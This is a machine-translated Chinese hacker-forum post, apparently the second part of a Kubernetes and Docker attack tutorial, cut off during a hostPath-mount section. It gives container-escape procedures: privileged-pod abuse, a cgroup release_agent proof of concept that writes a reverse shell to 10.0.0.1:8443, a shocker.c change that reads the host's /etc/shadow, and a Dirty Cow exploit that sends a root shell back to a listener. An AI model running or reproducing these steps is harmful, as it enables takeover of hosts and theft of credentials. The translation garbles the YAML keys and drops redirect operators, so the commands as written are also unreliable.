跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

## 文章前言

这篇文章就是为了填补之前《K8s集群安全攻防(上)》挖的坑。主要补充K8的逃生、横向移动、权限维护、扩展技能等。

## 逃脱相关

### 配置不当

####特权特权模式转义

**必备知识**

安全上下文用于定义Pod或Container的权限和访问控制。 Kubernetes 提供了三种配置Security Context 的方法:

- Pod 安全策略:应用于集群级别

- Pod 级别安全上下文:适用于Pod 级别

- 容器级安全上下文:适用于容器级

容器级别:仅适用于指定容器,不会影响Volume

````

api版本: v1

kind: 吊舱

元数据:

name: 你好世界

规格:

容器:

- name: 你好世界容器

image: ubuntu:最新

安全上下文:

特权: 正确

````

Pod level:应用于Pod中的所有容器,会影响Volume

````

api版本: v1

kind: 吊舱

元数据:

name: 你好世界

规格:

容器:

安全上下文:

FSGroup: 1234

补充组: [5678]

seLinuxOptions:

level: \'s0:c123,c456\'

````

PSP,集群级别:PSP 是集群级别的Pod 安全策略,自动为集群中的Pod 和Volume 设置安全上下文bf374151926151051559fd604e59352f.png

**漏洞介绍**

当使用--privileged选项启动容器时,容器可以访问主机上的所有设备,并且如果启用“privileged: true”,K8s配置文件也可以实现挂载操作。

**逃脱演示**

第一步:使用docker将ubuntu镜像拉取到本地

````

须藤docker 拉ubuntu

``20aca1dcad8c5e2b1d51c1c47e622623.png

步骤2:创建Pod yaml文件

````

api版本: v1

kind: 吊舱

元数据:

name: myapp-test

规格:

容器:

- image: ubuntu:最新

名称:ubuntu

安全上下文:

特权: 正确

``f0f488f75c8fba787a99b01b180ac731.png

第3 步:创建Pod

````

kubectl create -f myapp-test.yaml

``b549017f35a8cf7acbc2d0e6b2e939da.png

第三步:进入Pod进行逃生操作

````

#进入pod

kubectl exec -it myapp-test /bin/bash

#查看磁盘

fdisk -l

``81bafbf2bd03124b3ad27dbe6876590f.png

第四步:查看权限

````

猫/proc/self/status | grep CAPEFF

``0d199d1cc0fe768b24ce6c0b2c78408f.png

第五步:使用CDK越狱

````

./cdk 运行挂载磁盘

``2e4c72a709e16d6e3b65bd90a15b5fc7.png

进入容器内部挂载目录,直接管理主机磁盘文件(存在一些问题)6ca2c7e4e81fd84152007977e51568bb.png

#### CAP_SYS_ADMIN 配置转义

**漏洞概述**

Docker通过Linux Namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通信。然而,一些启动参数给容器授予了更大的权限,从而打破了资源隔离的界限:

- --pid=host 启动时,绕过PID命名空间

- --ipc=host 启动时,绕过IPC命名空间

- --net=host 启动时,绕过网络命名空间

--cap-add=SYS_ADMIN 启动时允许进行挂载权限操作,需要挂载资源才能使用。

**使用先决条件**

- 容器中的root用户

- 容器必须使用SYS_ADMIN Linux 功能运行

- 容器必须缺少AppArmor配置文件,否则将允许挂载系统调用

- cgroup v1虚拟文件系统必须以读写模式挂载在容器内

**必备知识**

**c组**

默认情况下,容器启动时,会在/sys/fs/cgroup目录下各子系统目录的docker子目录下生成一个以容器ID命名的子目录。我们可以通过执行以下命令来查看主机中的内存。 cgroup目录下,可以看到docker目录下多了一个目录9d14bc4987d5807f691b988464e167653603b13faf805a559c8a08cb36e3251a。这串字符就是容器ID。该目录下的内容是用户在容器中查看到的/sys/fs/cgroup/memory的内容。0a283cb1c21312d1b58e5bc2981034ee.png

**安装**

mount命令是一个系统调用(syscall)命令。系统调用号为165。要执行syscall,用户需要具有CAP_SYS_ADMIN的Capability。如果主机启动时添加了--cap-add SYS_ADMIN参数,则root用户可以在容器内部执行挂载cgroup。 Docker 默认情况下不启用SYS_ADMIN 功能。

**利用**

利用该漏洞的第一步是在容器中创建临时目录/tmp/cgrp,并使用mount命令将系统默认内存类型cgroup重新挂载到/tmp/cgrp。

````

mkdir /tmp/cgrp mount -t cgroup -o 内存cgroup /tmp/cgrp

````

参数解释:

- -t参数:表示挂载类别为cgroup

- -o参数:表示安装选项。对于cgroup来说,挂载选项是cgroup的子系统。每个子系统代表一种资源类型,如:cpu、内存

执行该命令后,主机的内存cgroup被挂载到容器中,对应目录/tmp/cgrp f7b67e1c90e1f3b81b20f942fb0c6998.png

需要注意的是,只有当挂载目标的层次结构为空时,重新挂载cgroup 才能成功。因此,如果这里内存remount失败,可以换到另一个子系统,然后在这个cgroup类型下创建一个子目录x。

````

mkdir /tmp/cgrp/x

````

利用该漏洞的第二步与notify_no_release有关。 cgroup的每个子系统都有参数notify_on_release。该参数值为布尔类型,1或0,分别可以启用和禁用释放剂指令。如果启用了notify_on_release,当cgroup不再包含任何任务时(即cgroup的tasks文件中的PID为空时),系统内核将执行release_agent参数指定的文件中的文本内容。不过需要注意的是,release_agent 文件并不在/tmp/cgrp/x 目录下,而是在内存cgroup 的根目录下/tmp/cgrp 中,这样的设计可以用来自动删除根cgroup 中的所有空cgroup。我们可以通过执行以下命令将/tmp/cgrp/x的notify_no_release属性设置为1

````

回声1 /tmp/cgrp/x/notify_no_release

````

然后指定release_agent为主机上容器的cmd文件。具体操作是首先获取宿主机上docker容器的存储路径:

````

host_path=`sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab`

````

文件/etc/mtab存储的是容器中实际挂载的文件系统467ad7366902208f4d83d571d558991e.png

这里使用sed命令来匹配perdir=(和)之间的非逗号内容。从上图可以看出,host_path是docker overlay存储驱动上的可写目录upperdir 96e36b379a093a2f8a33e47fe24d0444.png

在此目录下创建cmd文件,并将其作为/tmp/cgrp/x/release_agent参数指定的文件:

````

echo \'$host_path/cmd\' /tmp/cgrp/release_agent

````

接下来,POC将要执行的shell写入cmd文件中,并赋予执行权限。

````

echo '#!/bin/sh' /cmd

echo \'sh -i /dev/tcp/10.0.0.1/8443 01\' /cmd

chmod a+x /cmd

````

最后,POC触发主机执行cmd文件中的shell。

````

sh -c \'echo \\$\\$ /tmp/cgrp/x/cgroup.procs\'

````

该命令启动一个sh进程并将sh进程的PID写入/tmp/cgrp/x/cgroup.procs。这里的\\$\\$表示sh进程的PID。执行sh -c后,sh进程自动退出,使得cgroup /tmp/cgrp/x不再包含任何任务。 /tmp/cgrp/release_agent 文件中的shell 将由操作系统内核82d67cfcf96e63a8a94ce2c197681026.png 执行

#### CAP_DAC_READ_SEARCH

**影响范围**

码头工人1.0

**场景描述**

在早期的docker中,容器默认具有CAP_DAC_READ_SEARCH权限。拥有此Capability权限后,容器中的进程就可以使用open_by_handle_at函数暴力扫描主机文件系统,获取主机的目标文件内容。 Docker 1.0之前,对容器能力(Capability)采用黑名单策略管理,CAP_DAC_READ_SEARCH能力不受限制。因此,shocker.c程序被赋予了调用open_by_handle_at函数的能力,从而导致容器逃逸。

**环境建设**

````

./metarget 小工具安装docker --version 18.03.1

./metarget gadget install k8s --version 1.16.5 --domestic

``3e7691bde923e797c64028a245e39747.png

````

./metarget cnv 安装cap_dac_read_search-container

``7730424aa0a7acd00d85a9ff4215b4c0.png

注意:这个场景比较简单,可以使用Docker手动构建。存在该漏洞的Docker 默认版本太旧。但是,任何版本的Docker 都可以用来重现该漏洞。只需要在启动Docker时通过--cap-add选项添加CAP_DAC_READ_SEARCH能力即可。

**漏洞重现**

步骤1:查看容器列表,会发现有一个名为cap-dac-read-search-container的容器,具有CAP_DAC_READ_SEARCH权限。

````

docker ps -a | docker ps -a | grep 帽

码头工人顶部5713dea

getpcaps 51776

``3851ec31402a2ebe7dfb7b3a0638d20f.png

步骤2:下载poc文件,并将shocker.c中的.dockerinit文件修改为/etc/hosts

````

#初始文件

//从外部安装的东西获取FS 引用

if ((fd1=open(\'/.dockerinit\', O_RDONLY)) 0)

die(\'[-] 打开\');

#更改文件

//由于该文件需要与主机位于同一挂载文件系统中,因此高版本的.dockerinit不再位于主机的文件系统中。

//但/etc/resolv.conf、/etc/hostname、/etc/hosts等文件仍然是直接从主机挂载的,属于主机的文件系统。

if ((fd1=open(\'/etc/hosts\', O_RDONLY)) 0)

die(\'[-] 打开\');

``281c7f895a863527f441f5e74ed52bae.png

第三步:编译shock.c文件

````

gcc shocker.c -o shocker

``8d2e11ac3df50abe25ec1751b29dc8c9.png

第四步:容器中运行docker cp后,成功访问主机的/etc/shadow文件。

````

#基本格式

docker cp 本地路径容器ID: 容器路径

#使用示例

docker cp /home/ubuntu/shocker 5713dea8ce4b:/tmp/shocker

``8e566bf331c1e4233ada9cdb28b000b1.png

98c7adbb5e940bb97c8f11173adcc211.png

### 内核漏洞

有许多内核漏洞可以被利用,例如:

- CVE-2016-5195: 脏牛漏洞逃逸

- CVE-2017-7308:Linux 内核逃逸

- CVE-2017-1000112:Linux 内核逃逸

- CVE-2021-22555:Linux 内核逃逸

- CVE-2021-31440:Linux eBPF

- CVE-2022-0185:Linux 内核逃逸

下面仅以Dirty Cow漏洞逃逸为例:

####影响范围

Linux 内核2.x 到4.x 4.8.3 之前的版本

#### 漏洞描述

Dirty Cow (CVE-2016-5195) 是Linux 内核中的一个提权漏洞。它可以用来逃逸Docker容器并获得具有root权限的shell。需要注意的是,Docker与主机共享内核,因此容器需要运行在存在dirtyCow漏洞的主机上。

#### 漏洞重现

第一步:下载测试环境

````

git克隆https://github.com/gebl/dirtycow-docker-vdso.git

````

第2步:运行测试容器

````

cd dirtycow-docker-vdso/

sudo docker-compose 运行dirtycow /bin/bash

````

第三步:进入容器编译POC并执行

````

cd /dirtycow-vdso/

使

./0x死牛肉192.168.172.136:1234

``a161253bd4fe61a03f39cf7d940acfb1.png

第四步:监听本地端口192.168.172.136,成功收到主机弹回的shell 94557f20cf463d4a1c4c938aafb2cf6f.png

这里有一个面试中经常用到的问题供大家思考:

为什么内核漏洞会导致容器逃逸?基本原理是什么?

### 危险坐骑

#### HostPath目录挂载

**场景描述**

由于用户使用了比较危险的挂载方式将物理机的路径挂载到容器中,导致逃逸

**详细实施**

步骤1:检查当前权限,确保容器在主机系统上具有完全权限8b257d4f319259dad9d9789b2b045908.png

步骤2:发现/host-system 并从主机系统安装它

````

ls-al

ls /主机系统/

``752ed486e9c6b0ad2fdd0e15a15120aa.png

第三步:获取大师

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。